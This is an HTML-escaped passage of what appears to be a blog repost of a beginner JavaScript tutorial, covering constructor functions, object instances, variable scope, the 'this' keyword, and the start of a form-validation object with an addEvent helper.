&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(constructorOne.myProperty);&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//this&amp;nbsp;will&amp;nbsp;alert&amp;nbsp;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;property&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//alert&amp;nbsp;current&amp;nbsp;myProperty&amp;nbsp;of&amp;nbsp;constructorTwo&amp;nbsp;instance&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(constructorTwo.myProperty);&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//this&amp;nbsp;will&amp;nbsp;alert&amp;nbsp;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;property&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt; //this is one other way of creating a Constructor function
 var myObjectConstructor = function(){
     this.myProperty = &#39;this is a property&#39;
    }
    //instantiate our Constructor
    var constructorOne = new myObjectConstructor();
    //instantiate a second instance of our Constructor
    var constructorTwo = new myObjectConstructor();
    //alert current myProperty of constructorOne instance
    alert(constructorOne.myProperty); //this will alert &#39;this is a property&#39;
     //alert current myProperty of constructorTwo instance
    alert(constructorTwo.myProperty); //this will alert &#39;this is a property&#39;
&lt;/pre&gt;
So as expected, both return the correct value, but let’s change the myProperty for one of the instances.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;comment&quot;&gt;//this&amp;nbsp;is&amp;nbsp;one&amp;nbsp;other&amp;nbsp;way&amp;nbsp;of&amp;nbsp;creating&amp;nbsp;a&amp;nbsp;Constructor&amp;nbsp;function&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;myObjectConstructor&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;.myProperty&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;property&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//instantiate&amp;nbsp;our&amp;nbsp;Constructor&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;constructorOne&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt;&amp;nbsp;myObjectConstructor();&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//change&amp;nbsp;myProperty&amp;nbsp;of&amp;nbsp;the&amp;nbsp;first&amp;nbsp;instance&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;constructorOne.myProperty&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;new&amp;nbsp;property&#39;&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//instantiate&amp;nbsp;a&amp;nbsp;second&amp;nbsp;instance&amp;nbsp;of&amp;nbsp;our&amp;nbsp;Constructor&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;constructorTwo&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt;&amp;nbsp;myObjectConstructor();&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//alert&amp;nbsp;current&amp;nbsp;myProperty&amp;nbsp;of&amp;nbsp;constructorOne&amp;nbsp;instance&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(constructorOne.myProperty);&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//this&amp;nbsp;will&amp;nbsp;alert&amp;nbsp;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;new&amp;nbsp;property&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//alert&amp;nbsp;current&amp;nbsp;myProperty&amp;nbsp;of&amp;nbsp;constructorTwo&amp;nbsp;instance&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert(constructorTwo.myProperty);&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//this&amp;nbsp;will&amp;nbsp;still&amp;nbsp;alert&amp;nbsp;&#39;this&amp;nbsp;is&amp;nbsp;a&amp;nbsp;property&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt; //this is one other way of creating a Constructor function
 var myObjectConstructor = function(){
     this.myProperty = &#39;this is a property&#39;
    }
    //instantiate our Constructor
    var constructorOne = new myObjectConstructor();
    //change myProperty of the first instance
    constructorOne.myProperty = &#39;this is a new property&#39;;
    //instantiate a second instance of our Constructor
    var constructorTwo = new myObjectConstructor();
    //alert current myProperty of constructorOne instance
    alert(constructorOne.myProperty); //this will alert &#39;this is a new property&#39;
     //alert current myProperty of constructorTwo instance
    alert(constructorTwo.myProperty); //this will still alert &#39;this is a property&#39;
&lt;/pre&gt;
As you can see from this example, even though we changed the property of constructorOne&lt;br /&gt; it didn’t affect myObjectConstructor and therefore didn’t affect constructorTwo. Even if&lt;br /&gt; constructorTwo was instantiated before we changed the myProperty property of constructorOne,&lt;br /&gt; it would still not affect the myProperty property of constructorTwo as it is a completely different&lt;br /&gt; instance of the object within JavaScript’s memory.&lt;br /&gt;
So which one should you use? Well it depends on the situation, if you only need one object of its kind for&lt;br /&gt; your script (as you will see in our example at the end of this article), then use an object literal, but if you need several instances of an object, where each instance&lt;br /&gt; is independent of the other and can have different properties or methods depending on the way it’s constructed, then use a constructor function.&lt;br /&gt;
&lt;h3&gt;
This and That&lt;/h3&gt;
While explaining constructor functions, there were a lot of ‘this’ keywords being thrown around&lt;br /&gt; and I figure what better time to talk about scope!&lt;br /&gt;
Now you might be asking ‘what is this scope you speak of’?’ Scope in JavaScript is function/object based, so that means if you’re outside&lt;br /&gt; of a function, you can’t use a variable that is defined inside a function (unless you use a closure).&lt;br /&gt;
There is however a scope chain, which means that a function inside another function can access a&lt;br /&gt; variable defined in its parent function. Let’s take a look at some example code.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;lt;script&amp;nbsp;type=&lt;span class=&quot;string&quot;&gt;&quot;text/javascript&quot;&lt;/span&gt;&amp;gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;var1&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;this&amp;nbsp;is&amp;nbsp;global&amp;nbsp;and&amp;nbsp;is&amp;nbsp;available&amp;nbsp;to&amp;nbsp;everyone&#39;&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;function1(){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;var2&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;this&amp;nbsp;is&amp;nbsp;only&amp;nbsp;available&amp;nbsp;inside&amp;nbsp;function1&amp;nbsp;and&amp;nbsp;function2&#39;&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;function2(){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;var3&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;this&amp;nbsp;is&amp;nbsp;only&amp;nbsp;available&amp;nbsp;inside&amp;nbsp;function2&#39;&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;lt;/script&amp;gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
var var1 = &#39;this is global and is available to everyone&#39;;
function function1(){
 var var2 = &#39;this is only available inside function1 and function2&#39;;
 function function2(){
  var var3 = &#39;this is only available inside function2&#39;;
 }
}
&amp;lt;/script&amp;gt;
&lt;/pre&gt;
As you can see in this example, &lt;b&gt;var1&lt;/b&gt; is defined in the global object&lt;br /&gt; and is available to all functions and object, &lt;b&gt;var2&lt;/b&gt; is defined inside function1&lt;br /&gt; and is available to function1 and function2, but if you try to reference it from the global object&lt;br /&gt; it will give you the error ‘var2 is undefined’, &lt;b&gt;var3&lt;/b&gt; is only accessible to function2.&lt;br /&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;script type=&quot;text/javascript&quot;&gt;google_ad_client = &quot;pub-9093712935949486&quot;;
/* 300x250 nettuts middle tutsads */
google_ad_slot = &quot;1775681443&quot;;
google_ad_width = 300;
google_ad_height = 250;&lt;/script&gt; &lt;script src=&quot;http://pagead2.googlesyndication.com/pagead/show_ads.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;&lt;br /&gt;
&lt;ins style=&quot;border: none; display: inline-table; height: 250px; margin: 0; padding: 0; position: relative; visibility: visible; width: 300px;&quot;&gt;&lt;ins id=&quot;aswift_0_anchor&quot; style=&quot;border: none; display: block; height: 250px; margin: 0; padding: 0; position: relative; visibility: visible; width: 300px;&quot;&gt;&lt;iframe allowtransparency=&quot;true&quot; frameborder=&quot;0&quot; height=&quot;250&quot; hspace=&quot;0&quot; id=&quot;aswift_0&quot; marginheight=&quot;0&quot; marginwidth=&quot;0&quot; name=&quot;aswift_0&quot; onload=&quot;var i=this.id,s=window.google_iframe_oncopy,H=s&amp;amp;&amp;amp;s.handlers,h=H&amp;amp;&amp;amp;H[i],w=this.contentWindow,d;try{d=w.document}catch(e){}if(h&amp;amp;&amp;amp;d&amp;amp;&amp;amp;(!d.body||!d.body.firstChild)){if(h.call){setTimeout(h,0)}else if(h.match){w.location.replace(h)}}&quot; scrolling=&quot;no&quot; style=&quot;left: 0; position: absolute; top: 0;&quot; vspace=&quot;0&quot; width=&quot;300&quot;&gt;&lt;/iframe&gt;&lt;/ins&gt;&lt;/ins&gt;&lt;/div&gt;
So what does ‘this’ reference? Well in a browser, ‘this’ references the window object, so technically&lt;br /&gt; the window is our global object. If we’re inside an object, ‘this’ will refer to the object itself however&lt;br /&gt; if you’re inside a function, this will still refer to the window object and likewise if you’re inside a method&lt;br /&gt; that is within an object, ‘this’ will refer to the object.&lt;br /&gt;
Due to our scope chain, if we’re inside a sub-object (an object inside an object), ‘this’ will refer to&lt;br /&gt; the sub-object and not the parent object.&lt;br /&gt;
As a side note, it’s also worth adding that when using functions like setInterval, setTimeout and eval,&lt;br /&gt; when you execute a function or method via one of these, ‘this’ refers to the window object as these are methods of window, so&lt;br /&gt; setInterval() and window.setInterval() are the same.&lt;br /&gt;
Ok now that we have that out of the way, let’s do a real world example and create a&lt;br /&gt; form validation object!&lt;br /&gt;
&lt;h3&gt;
Real world Usage: A Form Validation Object&lt;/h3&gt;
First I must introduce you to the addEvent function which we will create and is a&lt;br /&gt; combination of ECMAScript’s (Firefox, Safari, etc.. ) addEventListener() function and&lt;br /&gt; Microsoft ActiveX Script’s attachEvent() function.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;addEvent(to,&amp;nbsp;type,&amp;nbsp;fn){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;(document.addEventListener){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;to.addEventListener(type,&amp;nbsp;fn,&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;false&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;(document.attachEvent){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;to.attachEvent(&lt;span class=&quot;string&quot;&gt;&#39;on&#39;&lt;/span&gt;+type,&amp;nbsp;fn);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;to[&lt;span class=&quot;string&quot;&gt;&#39;on&#39;&lt;/span&gt;+type]&amp;nbsp;=&amp;nbsp;fn;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;};&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;    function addEvent(to, type, fn){
        if(document.addEventListener){
            to.addEventListener(type, fn, false);
        } else if(document.attachEvent){
            to.attachEvent(&#39;on&#39;+type, fn);
        } else {
            to[&#39;on&#39;+type] = fn;
        }
    };
&lt;/pre&gt;
This creates a new function with three arguments, &lt;b&gt;to&lt;/b&gt; being the DOM object we are attaching&lt;br /&gt; the event to, &lt;b&gt;type&lt;/b&gt; being the type of event and &lt;b&gt;fn&lt;/b&gt; being the function run when&lt;br /&gt; the event is triggered. It first checks whether addEventListener is supported, if so it will use that, if not it will check&lt;br /&gt; for attachEvent and if all else fails you are probably using IE5 or something equally obsolete so&lt;br /&gt; we will add the event directly onto its event property (note: the third option will overwrite any&lt;br /&gt; existing function that may have been attached to the event property while the first two will add&lt;br /&gt; it as an additional function to its event property).&lt;br /&gt;
Now let’s set up our document so it is similar to what you might see when you develop jQuery stuff.&lt;br /&gt;
In jQuery you would have;&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;$(document).ready(&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//all&amp;nbsp;our&amp;nbsp;code&amp;nbsp;that&amp;nbsp;runs&amp;nbsp;after&amp;nbsp;the&amp;nbsp;page&amp;nbsp;is&amp;nbsp;ready&amp;nbsp;goes&amp;nbsp;here&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;});&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;    $(document).ready(function(){
        //all our code that runs after the page is ready goes here
    });
&lt;/pre&gt;
Using our addEvent function we have;&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;addEvent(window,&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;load&#39;&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;(){&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//all&amp;nbsp;our&amp;nbsp;code&amp;nbsp;that&amp;nbsp;runs&amp;nbsp;after&amp;nbsp;the&amp;nbsp;page&amp;nbsp;is&amp;nbsp;ready&amp;nbsp;goes&amp;nbsp;here&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;});&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;javascript&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;    addEvent(window, &#39;load&#39;, function(){
  //all our code that runs after the page is ready goes here
 });
&lt;/pre&gt;
Now for our Form object.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt;&amp;nbsp;Form&amp;nbsp;=&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;validClass&amp;nbsp;:&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;valid&#39;&lt;/span&gt;,&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fname&amp;nbsp;:&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;minLength&amp;nbsp;:&amp;nbsp;1,&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;maxLength&amp;nbsp;:&amp;nbsp;15,&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fieldName&amp;nbsp;:&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;First&amp;nbsp;Name&#39;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lname&amp;nbsp;:&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;minLength&amp;nbsp;:&amp;nbsp;1,&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;maxLength&amp;nbsp;:&amp;nbsp;25,&amp;nbsp;&amp;nbsp;&lt;/li&gt;
